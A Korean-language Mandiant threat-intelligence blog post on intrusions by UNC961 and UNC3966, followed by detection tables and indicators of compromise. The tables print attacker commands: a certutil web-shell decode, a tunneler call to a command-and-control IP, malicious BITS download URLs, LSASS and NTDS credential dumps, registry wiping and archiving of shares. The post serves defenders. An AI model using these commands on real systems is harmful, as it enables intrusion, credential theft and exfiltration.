Blog

재정적 동기를 가진 위협 행위자 UNC961

Ryan Tomcik, Rufus Brown, Josh Fleischer
Mar 23, 2023
14 min read
|   Last updated: Jul 27, 2023
Uncategorized Groups (UNC Groups)
Managed Defense
Incident Response
Ransomware

웹 애플리케이션 취약점은 건물의 출입구에 비유할 수 있습니다. 누가, 언제 들어오고 나가는지 알 수 없다는 소리입니다. 맨디언트 매니지드 디펜스사고 대응(Mandiant Managed Defense & Incident Response) 팀은 2021년 12월부터 2022년 7월까지 비슷한 방식으로 서로 다른 타깃을 노린 세 건의 침입에 대응하였습니다. 이들 침입은 재정적 동기를 가진 위협 행위자 집단인 UNC961이 배후에 있었습니다. UNC961이 침해를 시도한 곳 중 두 조직은 맨디언트 매니지드 디펜스의 보호를 통해 심각한 피해를 입기 전에 위협을 식별하고 대응할 수 있었습니다. 세 번째 침입의 경우 UNC961은 액세스 권한을 확보한 다음 미국과 유럽 금융권을 대상으로 사이버 공격을 수행하는 재정적 동기를 지난 위협 행위자 집단은 UNC3966에 액세스 권한을 전달하였습니다. 그러고 나서 맨디언트 사고 대응 팀에 연락을 취해 관련 내용을 알렸습니다.

본 포스팅에서는 UNC961이 수행한 각 침입 활동의 세부 사항 및 맨디언트가 어떻게 선제적으로 위협을 헌팅하고 조사와 대응에 나섰는지 소개하는 내용을 다룹니다. 더불어 이번 위협 관련 MITRE ATT&CK 관련 지표도 후반부에 소개합니다.

공격자 속성 및 타깃

UNC961은 재정적 동기를 가진 위협 행위자 집단으로 2016년부터 북미 지역의 조직을 표적으로 활동을 하였습니다. UNC961은 취약점 및 익스플로잇 코드가 공개되는 시점에 인터넷에 연결된 취약한 서버를 찾아 표적으로 삼는 것으로 유명합니다. 이 공격 그룹은 보안 기업인 CrowdStrike가 ProphetSpider라고 이름 붙인 공격 그룹을 포함하여 여러 위협 행위자 집단과 겹치는 부분이 많습니다. 맨디언트 블로그 게시물(Forged in Fire: A Survey of Mobilelrion Log4Shell Exploitation)을 통해 UNC961 분석 내용을 공개한 적이 있습니다. 당시 맨디언트는 Log4Shell(CVE-2021-44228) 취약점을 어떻게 이용하는지 상세히 다루었습니다. 이 공격 그룹의 주요 목표는 피해자로부터 자격 증명 같은 민감한 데이터를 훔치고 랜섬웨어 관련 위협 행위자 집단에 액세스 권한을 넘기는 것입니다.

UNC961은 최신 공개 취약점 및 공개적으로 액세스할 수 있는 익스플로잇 코드를 활용하고, 이를 무기 삼아 각 피해자에게 비용 효율적인 방식으로 접근하였습니다. 실제로 UNC961이 Atlassian Confluence(CVE-2021-26084), Citrix ADC(CVE-2019-19781), Oracle WebLogic(CVE-2020-14750), Gitlab(CVE-2021-22205) 등 전 세계적으로 널리 사용하는 네트워크 플랫폼 및 애플리케이션 서버를 악용하는 것을 자주 관찰할 수 있었습니다. UNC961은 액세스 권한 획득 후 네트워크 정찰을 통해 얻은 정보 및 자격 증명 정보 같은 민감한 데이터를 유출하였습니다. 이렇게 탈취한 데이터는 후속 침해 활동에 이용하거나 다른 공격 그룹에 판매하는 용도로 쓰였습니다. 여러 사례에서 다른 공격 그룹이 MAZE, EGREGOR 랜섬웨어를 배포하기 전에 UNC961의 사전 침해가 있었습니다.

유니버스 #1: 나는 Mobilelron 맨이다!

UNC961이 진행한 세 건의 침해 활동을 마블 스타일의 세계관 측면에서 유니버스 스토리로 풀어볼까 합니다. 첫 번째 유니버스의 주제는 '나는 Mobilelron 맨이다'입니다. 첫 번째 에피소드는 맨디언트 매니지드 디펜스에서 이야기가 시작됩니다. 조명이 어두워지고 나서 갑자기 다음과 같은 짧은 메시지가 나타납니다.

Message captured in network egress traffic
그림 1. 네트워크 트래픽에서 캡처한 메시지

위 메시지는 언뜻 보기에 해롭지 않은 것으로 보입니다. 하지만 숙련된 보안 분석가의 눈에는 몇 바이트에 불과한 이 메시지에 뭔가 사건이 진행되고 있다는 신호가 담겨 있는 것으로 보입니다.

보안 조직에서 레드 팀으로 활동하고 있다면 다음 명령이 친근할 것입니다.

TCP bash reverse shell command
그림 2. TCP bash 리버스 쉘 명령

이 간단한 bash 리버스 쉘 명령은 맨디언트가 UNIX 및 유사 호스트를 표적으로 하는 많은 익스플로잇의 페이로드에서 자주 보는 것입니다(MITRE ATT&CK 기법[T1059.004]). 다행히 터미널(TTY)이 아니라 원격 컴퓨터에서 bash 명령을 실행하여 맨디언트 분석가는 호스트에서 공격자에게 전송되지 않은 메시지인 bash: no job control in this shell을 파악해 탐지 기회를 잡을 수 있었습니다.

이제 공격자는 호스트를 확보했으므로 이 활동 전후의 이벤트를 포함하도록 범위를 확장하기 시작합니다. 공격자는 관심이 있는 시간대의 로컬 애플리케이션 로그를 수집하고, 목적지 IP 같은 키워드를 추출하고 관심 있는 시간대의 로그 항목을 면밀히 조사합니다. 이런 행동 패턴을 통해 맨디언트 분석가는 bash 쉘을 탐지한 시간과 일치하는 Mobilelron Core 로그 항목을 발견할 수 있었습니다.

MobileIron Core log entry
그림 3. Mobilelron Core 로그

요청자 이름 필드의 문자열은 공격자가 애플리케이션의 웹 포털 로그인에 익스플로잇을 제출하여 CVE-2021-44228을 트리거했음을 알려줍니다. CVE-2021-44228의 목표는 취약한 Apache 인스턴스에서 처리되는 모든 로그에 JIDI 익스플로잇 문자열을 기록하는 것이므로 이 로그인 시도가 실패했다는 사실과는 무관합니다. 익스플로잇은 여전히 로그에 기록되며 앞서 본 리버스 쉘을 생성합니다.

공격자는 일반적으로 탐지를 어렵게 하고 분석가보다 한발 앞서기 위해 다양한 난독화 기술을 활용합니다. 이번 사건의 경우 특정 문자를 중첩 문자열로 대체하였습니다. 익스플로잇과 페이로드에 대해 자세히 알아보겠습니다.

Obfuscated JNDI request
그림 4. 난독화된 JNDI 요청

중첩된 각 문장을 각 문장 끝(콜론과 대시 뒤)에 나열된 문자로 변환하면 다음과 같은 결과를 얻을 수 있습니다.

Decoded JNDI request
그림 5. 디코딩된 JNDI 요청

github.com에서 TomcatBypass를 검색하면 JNDI-Exploit이라는 프로젝트의 리포지토리를 찾을 수 있습니다. 이 리포지토리의 readme 문서를 보면 익숙한 URI 패턴을 볼 수 있습니다. 이를 통해 이 도구를 사용하는 공격자의 능력과 각 작업을 더 잘 이해할 수 있습니다.

이 경우 URI/TomcatBypass/Command/Base64/는 공격자가 Base64로 인코딩된 명령을 쉘로 전달할 수 있도록 하는 것뿐입니다. 익스플로잇 페이로드에서 관찰된 Base64 명령을 디코딩하면 다음과 같은 결과가 생성됩니다.

observed base64 command

이 명령의 첫 부분은 bash HISTFILE 변수를 해제하여 운영체제가 미래 명령을 기록하지 못하게 합니다. 다음으로 명령은 초기 감지 결과를 가져온 기본적인 리버스 쉘을 설정합니다.

bash 쉘을 성공적으로 설정했음에도 UNC961은 여러 개의 유사 명령을 사용하였습니다. 이를 통해 익스플로잇과 페이로드가 인터넷을 통해 무작위로 반복 전송되었다는 것을 알 수 있습니다.

UNC961은 같은 소유자 아래에서 실행되는 모든 프로세스를 나열하는 ps-x 명령으로 호스트와 상호작용을 시작했습니다. 호스트에서 여러 bash 쉘이 실행 중이라는 것을 깨달은 공격자는 수많은 PID와 함께 kill -9 명령을 실행해 Tomcat 프로세스에서 실행 중인 다른 호스트의 쉘을 종료했습니다.

이후 UNC961은 호스트에서 HOLEPUNCH 유틸리티를 배포했습니다. HOLEPUNCH는 사용자 지정 방식으로 래핑된 SOCKS5 스타일 명령을 사용해 C2(Command & Control) 서버로 연결을 이중화하는 윈도우 및 UNIX 호환 터널러입니다.

공격자에게는 안타깝겠지만 UNC961의 활동은 사전에 탐지되었습니다. 침해 활동을 이어가기 전에 탐지되어 모바일 장치 관리 및 엔터프라이즈 모바일 보안 솔루션을 제공하는 Mobilelron이 취약점을 해결할 수 있었습니다. 참고로 Mobilelron의 모회사인 Ivanti는 2022년 2월 Core 11.5.0.0 릴리즈에서 Apache Log4j 취약점에 대한 영구 수정 사항을 발표하였습니다.

유니버스 #2: Web(Shell) Slinger

UNC961 CVE-2017-7504 compromise timeline
그림 6. UNC961 CVE-2017-7504 타임라인

두 번째 인시던트에서 맨디언트 매니지드 디펜스는 위협 행위자가 인터넷에 노출된 고객의 서버[T1190]에서 JBoss MQ Java 메시지 서비스(JMS) 역직렬화 취약점(CVE-2017-7504)을 악용하는 것을 발견하였습니다. 이 역시 웹 애플리케이션 공격을 고수하는 UNC961의 특성을 잘 보여주는 패턴입니다. 침해 초기 증거는 위협 행위자가 java.exe 프로세스에서 cmd.exe /c "dir > k.txt" 명령을 실행하는 시점과 일치하는 URI인 /jbossmq-httpil/HTTPServerILServlet에 대해 HTTP POST 요청을 생성할 때 발생했습니다.

3분 후 java.exe 프로세스는 서버에 Base64로 인코딩된 PHP 웹 쉘을 작성하는 명령을 실행하였습니다[T1505.003]. 그다음 java.exe 프로세스는 인증 툴 명령을 실행해 Base64로 인코딩된 웹 쉘 파일인 k.txt의 내용을 웹 접근 가능한 파일인 k.jspx로 디코딩했습니다[T1140].

Parent: C:\Java\bin\java.exe

Process: C:\Windows\System32\cmd.exe
 

Commands:

  • cmd.exe /c "echo <2,212 Base64 characters> > k.txt"
  • cmd.exe /c "certutil -f -decode ..\server\default\deploy\jms\jbossmq-httpil.sar\jbossmq-httpil.war\k.txt ..\server\default\deploy\jms\jbossmq-httpil.sar\jbossmq-httpil.war\k.jspx"
그림 7. 인코딩된 웹 쉘을 만드는 데 사용된 Java 프로세스

그 후 UNC961은 두 번째 웹 쉘을 배포했습니다. 맨디언트는 이 웹 쉘이 BLUEBEAM 웹 쉘 프레임워크[T1505.003]에 의해 생성된 JSP 기반 웹 쉘로 확인하였습니다. 일명 Godzilla로 알려진 BLUEBEAM은 공개적으로 사용 가능한 웹 쉘 관리 도구로 JSP, ASP.NET, PHP로 웹 쉘 페이로드를 생성할 수 있는 Java로 작성되었습니다. 또한, 맨디언트는 마이크로소프트 익스체인지 서버의 프록시 쉘 취약점 익스플로잇 이후 BLUEBEAM 웹 쉘이 배포되는 것을 관찰하였습니다.

Path: C:\<path>\jboss-4.2.3.GA\server\default\deploy\jms\jbossmq-httpil.sar\jbossmq-httpil.war

 

File Name: httpil.jsp

그림 8. BLUEBEAM JSP 웹 쉘

한 달 후 UNC961은 httpil.jsp 웹 쉘로 돌아와서 부모 프로세스 java.exe 아래에서 하위 프로세스로 나타나는 내부 검색 명령을 실행하기 시작했습니다. UNC961 검색 명령의 예로는 네트워크 연결을 테스트하는 ping 유틸리티[T1018], 권한 그룹을 열거하는 net 유틸리티[T1069.001, T1069.002], 로컬 네트워크 구성을 보여주는 ipconfig 유틸리티[T1033], 사용자 계정 경로를 보는 dir 명령[T1083] 등이 있습니다(그림 9). UNC961은 intensive[.]int의 도메인 및 하위 도메인에 대해 nslookup 명령을 수행하고 IP 주소 119.9.3[.]198을 ping 했습니다. 이 도메인 및 IP 주소는 네트워크 연결 테스트를 나타낼 수 있는 Rackspace DNS 서버와 연결되어 있습니다.

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&quser" 2>&1

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&ipconfig /all" 2>&1

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&slookup intensive[.]int" 2>&1

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&nslookup intensive[.]int" 2>&1

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&nslookup ord.intensive[.]int" 2>&1

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&nslookup syd.intensive[.]int" 2>&1

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&ping -n 1 119.9.3[.]198" 2>&1

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&dir c:\users" 2>&1

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&net user" 2>&1

cmd /c "cd /d "C:/<path>/jboss-4.2.3.GA/bin/"&nslookup <admin account> /domain" 2>&1

그림 9. 웹 쉘을 통해 실행되는 명령

맨디언트 매니지드 디펜스의 위협 헌팅 팀은 여러 이벤트의 상관관계를 분석하여 웹 쉘이 명령을 실행한 것을 확인하였습니다. 이는 MITRE ATT&CK 지속성 및 발견 전술에 따라 태그된 이벤트 시퀀스와 일치했습니다. 이 사례에서 UNC961은 웹 쉘[Persistence]을 사용하여 로컬 네트워크 정보[Discovery]를 수집하는 명령을 피해자 서버에서 실행하였습니다. 맨디언트는 시퀀싱 및 클러스터링 같은 다중 이벤트 상관관계 분석 기법을 사용해 위협 행위자의 행동을 식별하였습니다. 사전에 위협을 탐지함에 따라 고객은 서버를 격리했고, 위협 행위자가 추가 작업을 수행하기 전에 제거했습니다.

유니버스 #3: 매일 마침, 똑같은 악몽

맨디언트는 한 조직에서 UNC961이 피해 환경에 처음 액세스한 지 131일 후에 파일 서버에 기록된 CryptoDefense 랜섬웨어와 관련된 HOW_DECRYPT.TXT 랜섬노트 파일을 발견하였습니다. 처음으로 침해 증거를 확인한 맨디언트는 사고 대응 팀을 즉시 투입하였습니다. 조사 과정에서 맨디언트는 데이터 수집 및 유출 이전에 UNC961이 다른 위협 행위자 집단인 UNC3966에 피해 조직에 대한 액세스 권한을 넘겨준 증거를 확인하였습니다. 이 시점은 UNC961이 처음 권한을 획득한 후 63일이 지난 후였습니다. UNC3966은 권한을 전달받은 후 데이터 수집과 유출 활동을 하였는데 다행히 랜섬웨어로 암호화하지는 않았습니다.

Initial UNC961 access with HOLERUN AND MUTEPUT deployment
그림 10. HOLERUN과 MUTEPUT 배포를 통한 UNC961의 초기 액세스

UNC961은 손상된 윈도우 2008 서버에서 초기 발판을 마련하고 HOLERUN 및 MUTEPUT 맬웨어를 윈도우 서비스[T1543.003]로 배포한 후 두 달 동안 휴면 상태로 있었습니다. HOLERUN은 Runas와 유사한 기능을 하는 C 언어로 작성한 윈도우 유틸리티로 프로세스를 생성하고 해당 권한을 가진 지정된 사용자로 명령을 실행하는 데 사용할 수 있습니다. MUTEPUT은 파일 다운로드 및 업로드와 임의의 명령 실행을 지원하는 백도어입니다. 활동이 뜸한 기간 동안 UNC961은 WGET을 사용해 추가 맬웨어 및 도구[T1105]를 다운로드했습니다. 여기에는 파일 전송 유틸리티인 PSCP, 파일 아카이버인 7-Zip, 포트 스캐너인 TxPortMap, 프록시 유틸리티인 SOCKS 등이 포함됩니다.

최초 침해 발생 2개월 후 UNC961과 UNC3966 간에 액세스 권한을 주고받았습니다. 맨디언트는 UNC961이 HOLERUN 유틸리티 설치 후 약 26분 후에 UNC3966을 위한 BARNWORK 백도어 배포를 확인하였습니다. BARNWORK는 사용자 지정 바이너리 프로토콜을 사용해 통신하는 C++ 언어로 작성한 백도어입니다.

Handoff between UNC961 and UNC3966
그림 11. UNC961과 UNC3966 간의 거래

액세스 권한을 넘겨받은 후 UNC3966은 손상된 도메인 관리자 계정[T1078.002]를 사용해 RDP[T1021.001]를 통해 피해 환경에서 측면 이동을 하고 예약된 작업[T1053.005]로 BARNWORK 백도어와 LIGHTBUNNY 터널러 맬웨어를 설치합니다. LIGHTBUNNY는 SOCKS를 통해 사용자 지정 프로토콜을 래핑하는 C 언어로 작성한 터널러의 클라이언트 구성 요소입니다. 또한, UNC3966은 윈도우 백그라운드 지능형 전송 서비스(BITS) 작업[T1197]을 사용해 인프라에서 호스팅되는 추가 페이로드를 다운로드했습니다[T1105].

LIGHTBUNNY deployment and BITS download jobs
그림 12. LIGHTBUNNY 배포 및 BITS 다운로드

UNC3966은 nslookup 유틸리티를 사용해 내부 호스트 검색을 수행하고[T1018], 윈도우 운영체제의 시스템 정보를 쿼리하고 관리하는 wmic.exe 유틸리티를 사용해 시스템 정보[T1082]를 수집했습니다[T1047]. UNC3966은 흔적을 지우기 위해 파일 검색, 터미널 서비스 원격 데스크톱 활동 및 애플리케이션 시작 활동과 관련된 정보가 포함된 레지스트리 키를 삭제하는 reg 명령을 실행하였습니다[T1112. T1070.007].

Indicator removal and discovery commands
그림 13. 인디케이터 제거 및 검색 명령

흥미롭게도 UNC961은 액세스 권한을 넘겨받은 후 116일이 지난 후 다시 나타나 새로운 시스템에 TURNSIGN 터널을 설치했습니다. TURNSIGN 은 간단한 SOCKS5 서버를 설정하고 하드코딩된 C2 서버 사이에 암호화된 터널을 생성합니다.

UNC961 deployment of TURNSIGN
그림 14. UNC961의 TURNSIGN 배포

UNC3966은 7-Zip 아카이브 유틸리티를 사용해 NAS 장치[T1560.001]에 저장된 계약 및 회계 정보 관련 데이터를 압축한 다음 WinSCP 유틸리티를 사용해 SSH 프로토콜[T1048]을 통해 위협 행위자가 제어하는 IP 주소로 전송하였습니다.

7-zip file archival and exfiltration via WinSCP
그림 15. WinCP를 통해 7-Zip 파일 아카이빙 및 반출

데이터 유출에 나선 지 12일 후인 143일째 UNC3966은 피해자 환경으로 돌아와 일련의 검색 명령을 실행해 시스템, 사용자, 권한 그룹 및 도메인 트러스트 관련 정보를 수집하였습니다[T1069.002, T1482, T1082, T1033]. UNC3966은 파일 공유 웹 사이트인 file[.]io에서 도메인 컨트롤러로 추가 도구를 다운로드했습니다. 여기에는 네트워크 공유를 열거하는 데 사용한 ShareFinder 파워쉘 스크립트 버전이 포함되어 있습니다.

UNC3966 discovery commands and ShareFinder usage
그림 16.UNC3966 검색 명령 및 ShareFinder 사용

추가 계정의 자격 증명 수집을 위해 UNC3966은 작업 관리자 애플리케이션을 사용해 여러 시스템에서 LSASS 메모리를 덤프하고[T1003.001], 파일 공유 웹 사이트인 dropmefiles[.]com에 업로드했습니다[T1567]. 또한, 위협 행위자는 새 도메인 사용자 계정[T1136.002]을 생성하고 도메인 관리자 권한 그룹[T1098]에 추가하여 권한 있는 명령을 실행하고 피해 환경에 더 깊이 침투할 수 있는 계정을 확보하였습니다.

LSASS process dump and new domain admin account creation
그림 17. LSASS 프로세스 덤프 및 새 도메인 관리자 계정 생성

추가 네트워크 정찰 수행을 위해 UNC3966은 ADFind 유틸리티를 활용해 액티브 디렉토리 정보를 수집했습니다[T1016, T1018, T1069.002, T1482, T1087.002]. 맨디언트는 Mimikatz DCSync[T1003.006]와 윈도우 액티브 디렉토리 유틸리티인 Ntdsutil을 활용해 도메인 컨트롤러의 액티브 디렉토리 데이터베이스 ntds.diT[T1003.003]와 SYSTEM 및 SECURITY 레지스트리 하이브를 덤프하는 자격 증명 탈취 활동의 증거를 확인했습니다.

ADFind execution and NTDS Active Directory dump
그림 18. ADFind 실행 및 NTDS 액티브 디렉토리 덤프

맨디언트는 고객과 협력해 환경을 강화하고 잠재적인 랜섬웨어 배포 영향을 제한하였습니다. 고객은 신속하게 대응하여 랜섬웨어로 인해 중요 데이터가 암호화되는 것을 방지했습니다. 그러나 감염된 시스템 재구축, 수개월 동안 이루어진 위협 행위자의 측면 이동이 어느 선까지 이루어졌는지 파악, 전사적인 비밀번호 재설정 등 후속 조치를 취해야 했습니다. 랜섬웨어를 박멸하는 동안 맨디언트는 고객이 공격자의 랜섬웨어 관련 몸값 요구 시나리오에 대응할 수 있도록 지원하였습니다. 결국 UNC961과 UNC3966의 접속 권한은 박탈되었고 고객은 마침내 침해 악몽에서 벗어날 수 있었습니다.

전망 및 시사점

사이버 보안이라는 멀티버스 세상은 위협 행위자로 가득합니다. UNC961은 기회주의자라고 할 수 있습니다. 이 공격 그룹은 공개적으로 사용할 수 있는 익스플로잇 코드를 사용해 최근에 공개된 취약점을 악용해 초기 액세스 권한 획득을 비용 효율적으로 수행하였습니다. 이는 피싱 같은 다름 침입 벡터와 다릅니다. 무작위로 이루어지기 때문에 여러 조직에 동시에 위협을 가할 수 있습니다. 실제로 UNC961은 수많은 침입에 성공한 것으로 보입니다.

모든 조직은 UNC961과 같은 위협 행위자 집단의 표적이 될 수 있습니다. 이를 방지하려면 어떻게 해야 할까요. 맨디언트의 매니지드 탐지 및 대응(MDR) 및 위협 헌팅 서비스를 통해 UNC961과 같은 위협 행위자 집단으로부터 조직을 보호할 수 있습니다. 또한, 공격 표면 관리를 통해 외부 자산을 사전에 검색하면 위협 행위자가 침투할 수 있는 취약점, 잘못된 구성, 기타 노출을 효과적으로 식별할 수 있습니다.

끝으로 본 포스팅 작성에 도움을 준 맨디언트 매니지드 디펜스의 위협 헌팅 리드인 Tim Martin에 감사의 인사를 전합니다. 또한, 기술 검토와 관련 정보를 공유해 준 Tommy Dacanay와 Foti Castelan에게도 감사의 뜻을 전합니다. 이외에도 UNC961, UNC3966 페이로드 분석에 참여한 FLARE 분석가들에게도 하이파이브를 보냅니다. 더불어 Matt Williams, Muhammad Umair, Jay Smith, Josh Homan, Matthew Hoerger, Ana Foreman에게도 감사의 인사를 올립니다.

탐지 기회

Detection Opportunity

MITRE ATT&CK® Technique

Event Details

Web server process echo Base64-encoded string

T1505.003

 

Parent Process: java.exe

 

Command(s):

  • cmd.exe /c "echo <2,212 Base64 characters> > k.txt"

Web server process launching discovery commands

 

T1505.003, T1083, T1018, T1069.001, T1069.002, T1016, T1033, T1049

Parent Process: java.exe

 

Command(s):

  • cmd.exe /c "dir > k.txt"
  • quser 2>&1
  • ipconfig /all 2>&1
  • nslookup intensive[.]int 2>&1
  • nslookup ord.intensive[.]int 2>&1
  • nslookup syd.intensive[.]int 2>&1
  • ping -n 1 119.9.3[.]198 2>&1
  • dir c:\users 2>&1
  • net user 2>&1
  • nslookup <admin account> /domain 2>&1

Web shell deployment using certutil to decode payload

T1505.003, T1140

 

Parent Process: java.exe

 

Commands:

  • cmd.exe /c "certutil -f -decode ..\server\default\deploy\jms\jbossmq-httpil.sar\jbossmq-httpil.war\k.txt ..\server\default\deploy\jms\jbossmq-httpil.sar\jbossmq-httpil.war\k.jspx"

Message generated across network traffic when establishing an interactive shell without an established TTY

 

T1059.004

String: bash: no job control in this shell

Suspicious Windows Service creation events

T1543.003

HOLERUN Service Name: wmhost

Path: C:\Windows\wmhost.exe


MUTEPUT Service Name: WindowsNTApp

Path: C:\Windows\System32\winnta.exe

 

TURNSIGN Service Name: WmiPrv

Path: C:\Windows\System32\WmiPrv.exe

--

Process: sc.exe

Command Line Example:

  • sc  create WmiPrv start= auto displayname= 'WmiPrv' binpath= 'C:\Windows\System32\WmiPrv.exe'

 

Suspicious Windows Scheduled Task creation events

T1053.005

LIGHTBUNNY Task Name: MKSAuth

Program Path: C:\Users\Administrator\AppData\Local\Temp\vmtoolsd.exe

LIGHTBUNNY Task Name: MKS Update Tools

Program Path: C:\MKS\mksnt\mks.exe

BARNWORK Task Name: MKSAuth

Program Path: C:\Windows\System32\mksauth.exe

 

Suspicious BITS transfer jobs

T1105, T1197

Log: Microsoft-Windows-Bits-Client/Operational

EID: 59

Messages:

  • BITS started the myjob transfer job that is associated with the https[:]//ms-prod19-live[.]com/rehjhj8785780923853/abc URL.
  • BITS started the myjob transfer job that is associated with the https[:]//ms-prod19-live[.]com/rehjhj8785780923853/cdef URL.
     

 

Suspicious WGET file download activity

T1105

 

User-Agent: Wget/1.11.4


URLs:

  • /7z.bin
  • /pscp.bin
  • /333.bmp
  • /333.bpm
  • /auditd64.bin
  • /TxPortMap.bin

 

Indicator removal from Windows Registry

T1112, T1070.007

Process: reg.exe

 

Command Line:

  • reg  delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
  • reg  delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
  • reg  add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
  • attrib  C:\Users\TEMP\documents\Default.rdp -s -h
  • reg  delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths" /va /f
  • reg  delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery" /va /f
  • reg  delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f

 

System information collection using the Windows Management Instrumentation Command-line utility wmic.exe

T1047

Command Line examples:


  • wmic  /node:"10.0.0.1" logicaldisk get deviceid,drivetype,filesystem,freespace,size,volumename
  • wmic  /node:"10.0.0.2" logicaldisk get deviceid,drivetype,filesystem,freespace,size,volumename
  • wmic  /node:"10.0.0.72" logicaldisk get deviceid,drivetype,filesystem,freespace,size,volumename

 

Execution and removal of PsExec Service

T1569.002, T1070, T1543.003

Log: System

EID: 7045
Message:

A service was installed in the system.

 

Service Name:  PSEXESVC

Service File Name:  %SystemRoot%\PSEXESVC.exe

Service Type:  user mode service

Service Start Type:  demand start

Service Account:  LocalSystem

--

Parent Process: C:\Windows\System32\cmd.exe

Process: C:\MKS\bin\PsExec.exe

Command Line:

  • psexec -s cmd

--

Process: sc.exe

Command Line:

  • sc delete psexesvc

 

7-zip execution to create archive with remote share or keywords of interest on command line

T1560.001

Command Line Examples:

  • <path>\7zG.exe" a -i#7zMap5172:94:7zEvent7590 -ad -saa -- "\\10.0.0.1\nasdevice\Path\Accounting"
  • ”<path>\tmp\7\App\7-Zip64\7zG.exe" a -i#7zMap21824:98:7zEvent2463 -ad -saa -- "\\10.0.0.1\nasdevice\Path\Contracts"

 

Spike (> 1GB) in outbound SSH byte transfer activity to remote IP addresses

 

T1048, T1071.002, T1021.004

WinSCP connections to 104.149.170[.]183:22 and 23.227.203[.]214:22

 

Execution of PowerShell by BARNWORK backdoor

T1059.001

Parent Process: C:\MKS\bin\mks.exe

Process: powershell.exe

 

Command Line:

  • "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-ExecutionPolicy RemoteSigned -Scope Process -Force -Confirm:$false;$PSDefaultParameterValues = @{'Out-File:Encoding' = 'utf8'}; " C:\Windows\TEMP\CWwaKhefO.ps1" | Out-File -encoding UTF8 "C:\Windows\TEMP\\bAbiTGhY.txt"

 

 

LIGHTBUNNY execution by Windows Command Shell

T1059.003, T1572

Parent Process: C:\Windows\System32\cmd.exe

Process: C:\Users\Administrator\AppData\Local\Temp\vmtools.exe

 

Command Line:

  • "C:\Windows\system32\cmd.exe"  /c "C:\Users\Administrator\AppData\Local\Temp\vmtools.exe 37.1.209[.]20 443"

 

ShareFinder PowerShell script execution and Script Block Logging keywords

T1059.001, T1135

File Name: SF.ps1

Output File Names:

  • sh.txt
  • shda.txt

--

Log: Microsoft-Windows-PowerShell/Operational

EID: 4104

Message example:

#requires -version 2

Implementation of Sharefinder that utilizes https://github.com/mattifestation/psreflect to stay off of disk.

By @harmj0y

 

Message Keyword Examples:

  • Sharefinder
  • New-InMemoryModule
  • mattifestation
  • harmj0y
  • Invoke-ShareFinder

 

LSASS process memory dumped by Task Manager

T1003.001

Process: C:\Windows\System32\Taskmgr.exe

File Write:

  • C:\Users\<user>\AppData\Local\Temp\lsass.DMP

 

Command to launch PowerShell from a specific directory

T1059.001

Process Command Line:

  • PowerShell.exe -noexit -command Set-Location -literalPath 'C:\ProgramData'

 

ADFind reconnaissance

T1016, T1018, T1069.002, T1482, T1087.002

Command Line Examples:

  • C:\Windows\system32\cmd.exe /c ""C:\Users\<user>\Downloads\ADfind\backup.bat" ”
  • adfind.exe  -f "(objectcategory=group)"
  • adfind.exe  -f "(objectcategory=organizationalUnit)"
  • adfind.exe  -f "(objectcategory=person)"
  • adfind.exe  -f "objectcategory=computer"
  • adfind.exe  -gcb -sc trustdmp
  • adfind.exe  -sc trustdmp
  • adfind.exe  -subnets -f (objectCategory=subnet)

 

Suspicious ntdsutil.exe execution and file writes

T1003.003

Process: ntdsutil.exe

Files Created:

  • C:\temp\Active Directory\ntds.dit
  • C:\Users\<user>\AppData\Local\Temp\tmp.edb
  • C:\temp\registry\SECURITY
  • C:\temp\registry\SYSTEM

 

 

침해 지표

Type

Value

Attribution

Description

MD5

c55f4b123c645f9c5a1d00205ab2e61e

UNC3966

LIGHTBUNNY tunneler

MD5

31c49b87463f4e4ce6ae4c442319d3a2

UNC961

HOLERUN

IP

104.149.170[.]183

UNC3966

WinSCP

IP

23.227.203[.]214

UNC3966

WinSCP

IP

37.1.209[.]20

UNC3966

Command and Control

IP

107.181.187[.]184

UNC961

Command and Control

IP

45.61.136[.]39

UNC961

Command and Control

IP

209.141.61[.]225

UNC961

Command and Control

IP

107.181.187[.]182

UNC961

Command and Control

IP

136.244.69[.]29

UNC961

Exploitation

IP

5.149.250[.]214

UNC961

Web shell Interaction

URL

https[:]//ms-prod19-live[.]com/rehjhj8785780923853/abc

UNC3966

Download

URL

https[:]//ms-prod19-live[.]com/rehjhj8785780923853/cdef

UNC3966

Download

맨디언트 보안 유효성 검사

VID

Name

A100-299

Active Directory - ADFIND.EXE, Enumeration

A105-181

Host CLI - Secret Dumps with Ntdsutil

A100-879

Malicious File Transfer - ADFIND.EXE, Download

A101-172

Active Directory - ADFIND.EXE, User Query

A101-170

Active Directory - ADFIND.EXE, Organizational Units Query

A101-168

Active Directory - ADFIND.EXE, Domain Trust Query

A101-167

Active Directory - ADFIND.EXE, Computer Query

A101-169

Active Directory - ADFIND.EXE, Group Query

A106-034

Host CLI - POWERVIEW, ShareFinder, Execution, Variant#1

A106-033

Application Vulnerability - UNC961, CVE-2021-44228, HTTP GET, LDAP Callback via URI Path

A106-030

Malicious File Transfer - UNC961, TURNSIGN, Download, Variant #1

A106-029

Malicious File Transfer - UNC961, MUTEPUT, Download, Variant #1

A106-028

Malicious File Transfer - UNC961, BLUEBEAM.JSP, Download, Variant #1

A106-027

Application Vulnernability - CVE-2017-7504, Exploitation

A106-026

Protected Theater - UNC3966, LIGHTBUNNY, Execution, Variant #1

A106-025

Malicious File Transfer - UNC3966, LIGHTBUNNY, Download, Variant #1

A106-024

Malicious File Transfer - UNC961, HOLERUN, Download, Variant #1

A106-023

Command and Control - Bash Non Interactive Reverse Shell

A105-179

Host CLI - MIMIKATZ (2.2.0), DCSync, Variant #1

